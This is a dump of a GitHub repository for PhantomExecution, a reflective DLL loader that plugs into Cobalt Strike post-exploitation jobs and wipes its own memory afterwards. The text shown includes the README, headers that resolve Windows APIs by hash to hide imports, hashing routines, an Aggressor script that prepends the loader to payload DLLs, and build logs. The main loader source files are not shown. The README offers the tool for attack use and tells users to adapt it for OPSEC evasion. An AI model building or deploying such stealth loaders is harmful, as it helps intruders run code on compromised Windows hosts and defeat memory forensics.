├── requirements.txt ├── library ├── Utils.cpp ├── bin │ ├── library.x64.lib │ └── library.x64.pdb ├── End.h ├── library.vcxproj.user ├── StdLib.h ├── End.cpp ├── Utils.h ├── Hash.h ├── FunctionResolving.h ├── library.vcxproj.filters ├── StdLib.cpp ├── library.vcxproj ├── LoaderTypes.h └── FunctionResolving.cpp ├── intermmediate ├── library │ └── Release │ │ ├── End.obj │ │ ├── StdLib.obj │ │ ├── Utils.obj │ │ ├── FunctionResolving.obj │ │ ├── library.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── CL.command.1.tlog │ │ ├── Lib.command.1.tlog │ │ ├── Lib-link.read.1.tlog │ │ ├── Lib-link.write.1.tlog │ │ ├── library.lastbuildstate │ │ └── Cl.items.tlog │ │ ├── library.log │ │ ├── library.x64.lib.recipe │ │ ├── library.x86.lib.recipe │ │ ├── library.x64.Build.CppClean.log │ │ └── library.x86.Build.CppClean.log └── postex-loader │ └── Release │ ├── vc143.pdb │ ├── CleanJob.obj │ ├── ReflectiveLoader.obj │ ├── postex-loader.x64.iobj │ ├── postex-loader.tlog │ ├── CL.read.1.tlog │ ├── CL.write.1.tlog │ ├── link.read.1.tlog │ ├── CL.command.1.tlog │ ├── link.write.1.tlog │ ├── link.command.1.tlog │ ├── postex-loader.lastbuildstate │ └── Cl.items.tlog │ ├── postex-loader.x64.exe.recipe │ ├── postex-loader.x86.exe.recipe │ ├── postex-loader.log │ ├── postex-loader.x64.Build.CppClean.log │ └── postex-loader.x86.Build.CppClean.log ├── bin └── postex-loader │ ├── Release │ ├── x64 │ │ └── postex-loader.x64.bin │ └── x86 │ │ └── postex-loader.x86.bin │ └── prepend-postex-udrl.cna ├── examples └── postex-loader │ ├── postex-loader.vcxproj.user │ ├── CleanJob.h │ ├── postex-loader.vcxproj.filters │ ├── ReflectiveLoader.h │ ├── CleanJob.cpp │ ├── postex-loader.vcxproj │ └── ReflectiveLoader.cpp ├── README.md ├── loader.props ├── PhantomExecution.sln ├── default.props └── udrl.py /requirements.txt: -------------------------------------------------------------------------------- 1 | pefile -------------------------------------------------------------------------------- /library/Utils.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/library/Utils.cpp -------------------------------------------------------------------------------- /library/bin/library.x64.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/library/bin/library.x64.lib -------------------------------------------------------------------------------- /library/bin/library.x64.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/library/bin/library.x64.pdb -------------------------------------------------------------------------------- /intermmediate/library/Release/End.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/End.obj -------------------------------------------------------------------------------- /intermmediate/library/Release/StdLib.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/StdLib.obj -------------------------------------------------------------------------------- /intermmediate/library/Release/Utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/Utils.obj -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/vc143.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/vc143.pdb -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/CleanJob.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/CleanJob.obj -------------------------------------------------------------------------------- /bin/postex-loader/Release/x64/postex-loader.x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/bin/postex-loader/Release/x64/postex-loader.x64.bin -------------------------------------------------------------------------------- /bin/postex-loader/Release/x86/postex-loader.x86.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/bin/postex-loader/Release/x86/postex-loader.x86.bin -------------------------------------------------------------------------------- /intermmediate/library/Release/FunctionResolving.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/FunctionResolving.obj -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/ReflectiveLoader.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/ReflectiveLoader.obj -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.x64.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.x64.iobj -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/Lib.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/Lib.command.1.tlog -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/Lib-link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/Lib-link.read.1.tlog -------------------------------------------------------------------------------- /library/End.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifdef _DEBUG 4 | unsigned char debug_dll[]; 5 | 6 | #elif _WIN64 7 | void LdrEnd(); 8 | 9 | #elif _WIN32 10 | void* LdrEnd(); 11 | #endif 12 | -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/Lib-link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/library/Release/library.tlog/Lib-link.write.1.tlog -------------------------------------------------------------------------------- /library/library.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /intermmediate/library/Release/library.log: -------------------------------------------------------------------------------- 1 | End.cpp 2 | FunctionResolving.cpp 3 | StdLib.cpp 4 | Utils.cpp 5 | library.vcxproj -> E:\Project\GIT\PhantomExecution\PhantomExecution\library\bin\library.x64.lib 6 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CBLabresearch/PhantomExecution/HEAD/intermmediate/postex-loader/Release/postex-loader.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /examples/postex-loader/postex-loader.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /intermmediate/library/Release/library.x64.lib.recipe: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /intermmediate/library/Release/library.x86.lib.recipe: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/library.lastbuildstate: -------------------------------------------------------------------------------- 1 | PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.38.33130:TargetPlatformVersion=10.0.22621.0: 2 | Release|x64|E:\Project\GIT\PhantomExecution\PhantomExecution\| 3 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/postex-loader.lastbuildstate: -------------------------------------------------------------------------------- 1 | PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.38.33130:TargetPlatformVersion=10.0.22621.0: 2 | Release|x64|E:\Project\GIT\PhantomExecution\PhantomExecution\| 3 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.x64.exe.recipe: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x64\postex-loader.x64.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.x86.exe.recipe: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x86\postex-loader.x86.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.tlog/Cl.items.tlog: -------------------------------------------------------------------------------- 1 | E:\Project\GIT\PhantomExecution\PhantomExecution\examples\postex-loader\CleanJob.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\postex-loader\Release\CleanJob.obj 2 | E:\Project\GIT\PhantomExecution\PhantomExecution\examples\postex-loader\ReflectiveLoader.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\postex-loader\Release\ReflectiveLoader.obj 3 | -------------------------------------------------------------------------------- /library/StdLib.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #ifdef _DEBUG 5 | #define PRINT(message, ...) _printf(message, __VA_ARGS__) 6 | void _printf(const char* format, ...); 7 | #else 8 | #define PRINT(message, ...) 9 | #endif 10 | 11 | BOOL _memcpy(void* dest, void* src, size_t size); 12 | int _memcmp(const void* ptr1, const void* ptr2, size_t size); 13 | void* _memset(void* dest, int ch, size_t count); 14 | int _strcmp(const char* src, const char* dst); -------------------------------------------------------------------------------- /examples/postex-loader/CleanJob.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "LoaderTypes.h" 3 | #include 4 | 5 | void CleanJob(DLLMAIN entryPoint, ULONG_PTR loadedDllBaseAddress, void* loaderStart, NT_CREATETHREADEX NtCreateThreadEx, NT_GETCONTEXTTHREAD NtGetContextThread, RTL_EXITUSERTHREAD RtlExitUserThread, NT_SETCONTEXTTHREAD NtSetContextThread, NT_RESUMETHREAD NtResumeThread, WAITFORSINGLEOBJECTS WaitForSingleObject, VIRTUALFREE VirtualFree, RTL_CAPTURECONTEXT RtlCaptureContext, NT_CONTINUE NtContinue, VIRTUALQUERY VirtualQuery, PVOID TpReleaseCleanupGroupMembers, UNMAPVIEWOFFILE UnmapViewOfFile); 6 | PVOID GetCleanData(PDWORD Length); -------------------------------------------------------------------------------- /intermmediate/library/Release/library.tlog/Cl.items.tlog: -------------------------------------------------------------------------------- 1 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\End.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\End.obj 2 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\FunctionResolving.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\FunctionResolving.obj 3 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\StdLib.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\StdLib.obj 4 | E:\Project\GIT\PhantomExecution\PhantomExecution\library\Utils.cpp;E:\Project\GIT\PhantomExecution\PhantomExecution\intermmediate\library\Release\Utils.obj 5 | -------------------------------------------------------------------------------- /library/End.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "Utils.h" 3 | 4 | 5 | #ifdef _DEBUG 6 | // Position the contents of DebugDLL.h (debug_dll[]) at the end of the loader to replicate Release mode 7 | #pragma code_seg(".text$z") 8 | __declspec(allocate(".text$z")) 9 | #ifdef _WIN64 10 | #include "DebugDLL.x64.h" 11 | #elif _WIN32 12 | #include "DebugDLL.x86.h" 13 | #endif 14 | 15 | #elif _WIN64 16 | // An empty function to determine the end of the .text section in x64 (&LdrEnd + 1) 17 | #pragma code_seg(".text$z") 18 | void LdrEnd() {} 19 | 20 | #elif _WIN32 21 | #pragma optimize( "", off ) 22 | #pragma code_seg(".text$z") 23 | // A function to determine the end of the .text section in x86 24 | void* LdrEnd() { 25 | return GetLocation(); 26 | } 27 | #pragma optimize( "", on ) 28 | #endif 29 | -------------------------------------------------------------------------------- /library/Utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "LoaderTypes.h" 4 | 5 | /** 6 | * PIC String Macros 7 | * https://gist.github.com/EvanMcBroom/d7f6a8fe3b4d8f511b132518b9cf80d7 8 | */ 9 | #define PIC_STRING(NAME, STRING) constexpr char NAME[]{ STRING } 10 | #define PIC_WSTRING(NAME, STRING) constexpr wchar_t NAME[]{ STRING } 11 | 12 | void* GetLocation(); 13 | _PPEB GetPEBAddress(); 14 | ULONG_PTR FindBufferBaseAddress(); 15 | ULONG_PTR FindBufferBaseAddressStephenFewer(); 16 | BOOL CopyPEHeader(ULONG_PTR srcImage, ULONG_PTR dstAddress); 17 | BOOL CopyPESections(ULONG_PTR srcImage, ULONG_PTR dstAddress); 18 | void ResolveImports(PIMAGE_NT_HEADERS ntHeader, ULONG_PTR dstAddress, PWINDOWSAPIS winApi); 19 | void ProcessRelocations(PIMAGE_NT_HEADERS ntHeader, ULONG_PTR dstAddress); 20 | BOOL ResolveRdataSection(ULONG_PTR srcImage, ULONG_PTR dstAddress, PRDATA_SECTION rdata); 21 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.log: -------------------------------------------------------------------------------- 1 | cl : 命令行 warning D9025: 正在重写“/sdl”(用“/GS-”) 2 | CleanJob.cpp 3 | ReflectiveLoader.cpp 4 | E:\Project\GIT\PhantomExecution\PhantomExecution\examples\postex-loader\CleanJob.cpp(104,29): warning C4244: “=”: 从“UINT_PTR”转换到“DWORD”,可能丢失数据 5 | 正在生成代码 6 | 已完成代码的生成 7 | postex-loader.vcxproj -> E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x64\postex-loader.x64.exe 8 | 9 | _ _ 10 | | | | | 11 | _ _ __| |_ __| | _ __ _ _ 12 | | | | |/ _` | '__| | | '_ \| | | | 13 | | |_| | (_| | | | |_| |_) | |_| | 14 | \__,_|\__,_|_| |_(_) .__/ \__, | 15 | | | __/ | 16 | |_| |___/ 17 | 18 | [+] Success: Extracted loader 19 | [+] Success: Written UDRL to E:\Project\GIT\PhantomExecution\PhantomExecution\bin\postex-loader\Release\x64\postex-loader.x64.bin. Total Size: 2933 bytes 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PhantomExecution 2 | ![](https://github.com/user-attachments/assets/4578b633-0874-433e-8011-fdddc3330f9f) 3 | 4 | > Self Cleanup in post-ex job, suit for CobaltStrike 5 | 6 | 7 | 8 | When the target of process injection is the current process, and when the post-ex job is executed and the thread exits, the memory will look like this 9 | 10 | ![](https://images-1258433570.cos.ap-beijing.myqcloud.com/imagesimage-20240910183625105.png) 11 | 12 | Then, perform 5 screenshots: 13 | 14 | ![](https://images-1258433570.cos.ap-beijing.myqcloud.com/imagesimage-20240910183718333.png) 15 | 16 | So, we use the RDI itself to clean up itself and the memory area which the post-ex job is executed. 17 | 18 | This is also a general memory execution plugin 19 | 20 | ![](https://images-1258433570.cos.ap-beijing.myqcloud.com/imagesimage-20240910184202951.png) 21 | 22 | The code is not beautiful, and many IOCs are not evasioned. Please modify it according to OPSEC principles. This code only shows the self clean technology. 23 | 24 | 25 | 26 | writeup: https://mp.weixin.qq.com/s/V4EdhGzyzxln0LzU99hqpA 27 | 28 | conference: https://github.com/knownsec/KCon/blob/master/2024/%E9%AB%98%E7%BA%A7%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%BC%80%E5%8F%91%E4%B9%8BRDI%E7%9A%84%E8%BF%9B%E5%8C%96.pdf 29 | -------------------------------------------------------------------------------- /loader.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | $(SolutionDir)bin\$(ProjectName)\$(Configuration)\$(LibrariesArchitecture)\ 9 | $(ProjectName).$(LibrariesArchitecture) 10 | 11 | 12 | 13 | $(SolutionDir)library;%(AdditionalIncludeDirectories) 14 | 15 | 16 | ReflectiveLoader 17 | 18 | 19 | 20 | 21 | py.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin" 22 | 23 | 24 | 25 | 26 | py.exe "$(SolutionDir)udrl.py" extract-udrl "$(OutDir)$(TargetName).exe" "$(OutDir)$(TargetName).bin" 27 | 28 | 29 | -------------------------------------------------------------------------------- /examples/postex-loader/postex-loader.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /intermmediate/library/Release/library.x64.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.pdb 2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\utils.obj 3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\stdlib.obj 4 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\functionresolving.obj 5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\end.obj 6 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.lib 7 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.vcxproj.filelistabsolute.txt 8 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.command.1.tlog 9 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.items.tlog 10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.read.1.tlog 11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.write.1.tlog 12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.read.1.tlog 13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.write.1.tlog 14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib.command.1.tlog 15 | -------------------------------------------------------------------------------- /bin/postex-loader/prepend-postex-udrl.cna: -------------------------------------------------------------------------------- 1 | # =========================================================================== 2 | # Utils 3 | # =========================================================================== 4 | 5 | # ---------------------------------------------- 6 | # Print information to the Script Console 7 | # $1 = message 8 | # ---------------------------------------------- 9 | sub print_info { 10 | println(formatDate("[HH:mm:ss] ") . "\cE[UDRL-VS]\o " . $1); 11 | } 12 | 13 | # =========================================================================== 14 | # Post Exploitation UDRL 15 | # =========================================================================== 16 | 17 | print_info("Post Exploitation Loader loaded"); 18 | 19 | set POSTEX_RDLL_GENERATE { 20 | local('$arch $dll $fileHandle $ldr $loader_path $payload'); 21 | $dll = $2; 22 | $arch = $3; 23 | $bid = $4; 24 | $getmodule = $5; 25 | $getprocad = $6; 26 | 27 | # Read the UDRL from the supplied binary file 28 | $loader_path = getFileProper(script_resource("Release"), $arch ,"postex-loader." . $arch . ".bin" ); 29 | 30 | $file_handle = openf($loader_path); 31 | $ldr = readb($file_handle, -1); 32 | closef($file_handle); 33 | 34 | if (strlen($ldr) == 0) { 35 | warn("Error: Failed to read $loader_path"); 36 | return $null; 37 | } 38 | 39 | print_info("Post Exploitation UDRL generated (" . strlen($ldr) . " bytes)"); 40 | 41 | return $ldr . $dll; 42 | } 43 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.x64.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\vc143.pdb 2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\reflectiveloader.obj 3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\cleanjob.obj 4 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.exe 5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.x86.iobj 6 | e:\project\git\phantomexecution\phantomexecution\bin\postex-loader\release\x86\postex-loader.x86.pdb 7 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.vcxproj.filelistabsolute.txt 8 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.command.1.tlog 9 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.items.tlog 10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.read.1.tlog 11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\cl.write.1.tlog 12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.command.1.tlog 13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.read.1.tlog 14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\postex-loader.tlog\link.write.1.tlog 15 | -------------------------------------------------------------------------------- /intermmediate/library/Release/library.x86.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x64.pdb 2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\utils.obj 3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\stdlib.obj 4 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\obfuscation.obj 5 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\functionresolving.obj 6 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\end.obj 7 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.pdb 8 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x64.lib 9 | e:\project\git\phantomexecution\phantomexecution\library\bin\library.x86.lib 10 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.vcxproj.filelistabsolute.txt 11 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.command.1.tlog 12 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.items.tlog 13 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.read.1.tlog 14 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\cl.write.1.tlog 15 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.read.1.tlog 16 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib-link.write.1.tlog 17 | e:\project\git\phantomexecution\phantomexecution\intermmediate\library\release\library.tlog\lib.command.1.tlog 18 | -------------------------------------------------------------------------------- /library/Hash.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | #define HASH_KEY 0x19 6 | #pragma intrinsic( _rotr ) 7 | 8 | /** 9 | * Hash a string at run time. 10 | * 11 | * @param str A pointer to the string that should be hashed. 12 | * @return A hash of the string. 13 | */ 14 | __forceinline DWORD RunTimeHash(const char* str) { 15 | DWORD hash = 0; 16 | do { 17 | hash = _rotr(hash, HASH_KEY); 18 | if (*str >= 'a') { 19 | hash += *str - ('a' - 'A'); 20 | } 21 | else { 22 | hash += *str; 23 | } 24 | } while (*++str); 25 | 26 | return hash; 27 | } 28 | 29 | /** 30 | * Hash data at run time. 31 | * 32 | * @param data A pointer to data that should be hashed. 33 | * @param length A size of the data buffer 34 | * @return A hash of data. 35 | */ 36 | __forceinline DWORD RunTimeHash(const char* data, size_t length) { 37 | DWORD hash = 0; 38 | while (length--) { 39 | hash = _rotr(hash, HASH_KEY); 40 | if (*data >= 'a') { 41 | hash += *data - ('a' - 'A'); 42 | } 43 | else { 44 | hash += *data; 45 | } 46 | ++data; 47 | } 48 | 49 | return hash; 50 | } 51 | 52 | /** 53 | * Hash a string at compile time. 54 | * 55 | * @param str A pointer to the string that should be hashed. 56 | * @return A hash of the string. 57 | */ 58 | constexpr DWORD CompileTimeHash(const char* str) { 59 | DWORD hash = 0; 60 | do { 61 | hash = (hash >> HASH_KEY) | (hash << (sizeof(DWORD) * 8 - HASH_KEY)); 62 | if (*str >= 'a') { 63 | hash += *str - ('a' - 'A'); 64 | } 65 | else { 66 | hash += *str; 67 | } 68 | } while (*++str); 69 | 70 | return hash; 71 | } 72 | -------------------------------------------------------------------------------- /library/FunctionResolving.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #include "LoaderTypes.h" 5 | #include "Hash.h" 6 | 7 | // Calculate hashes for base set of loader APIs 8 | constexpr DWORD KERNEL32DLL_HASH = CompileTimeHash("kernel32.dll"); 9 | constexpr DWORD NTDLLDLL_HASH = CompileTimeHash("ntdll.dll"); 10 | constexpr DWORD LOADLIBRARYA_HASH = CompileTimeHash("LoadLibraryA"); 11 | constexpr DWORD GETPROCADDRESS_HASH = CompileTimeHash("GetProcAddress"); 12 | constexpr DWORD VIRTUALALLOC_HASH = CompileTimeHash("VirtualAlloc"); 13 | constexpr DWORD VIRTUALPROTECT_HASH = CompileTimeHash("VirtualProtect"); 14 | constexpr DWORD NTFLUSHINSTRUCTIONCACHE_HASH = CompileTimeHash("NtFlushInstructionCache"); 15 | 16 | constexpr DWORD NTCreateThreadEx_HASH = CompileTimeHash("NtCreateThreadEx"); 17 | constexpr DWORD NTGetContextThread_HASH = CompileTimeHash("NtGetContextThread"); 18 | constexpr DWORD NTSetContextThread_HASH = CompileTimeHash("NtSetContextThread"); 19 | constexpr DWORD NTResumeThread_HASH = CompileTimeHash("NtResumeThread"); 20 | constexpr DWORD RtlCaptureContext_HASH = CompileTimeHash("RtlCaptureContext"); 21 | constexpr DWORD VirtualFree_HASH = CompileTimeHash("VirtualFree"); 22 | constexpr DWORD NtContinue_HASH = CompileTimeHash("NtContinue"); 23 | constexpr DWORD RtlExitUserThread_HASH = CompileTimeHash("RtlExitUserThread"); 24 | constexpr DWORD TpReleaseCleanupGroupMembers_HASH = CompileTimeHash("TpReleaseCleanupGroupMembers"); 25 | constexpr DWORD WAITFORSINGLEOBJECTS_HASH = CompileTimeHash("WaitForSingleObject"); 26 | constexpr DWORD UNMAPVIEWOFFILE_HASH = CompileTimeHash("UnmapViewOfFile"); 27 | constexpr DWORD VIRTUALQUERY_HASH = CompileTimeHash("VirtualQuery"); 28 | 29 | constexpr DWORD ExitThread_HASH = CompileTimeHash("ExitThread"); 30 | 31 | 32 | 33 | 34 | ULONG_PTR GetProcAddressByHash(_PPEB pebAddress, DWORD moduleHash, DWORD functionHash); 35 | BOOL ResolveBaseLoaderFunctions(_PPEB pebAddress, PWINDOWSAPIS winApi, PNTSAPIS ntApi, POTHERSAPIS otherApi); 36 | 37 | -------------------------------------------------------------------------------- /intermmediate/postex-loader/Release/postex-loader.x86.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\vc143.pdb 2 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\reflectiveloader.obj 3 | e:\project\git\phantomexecution\phantomexecution\intermmediate\postex-loader\release\cleanjob.obj 4 | 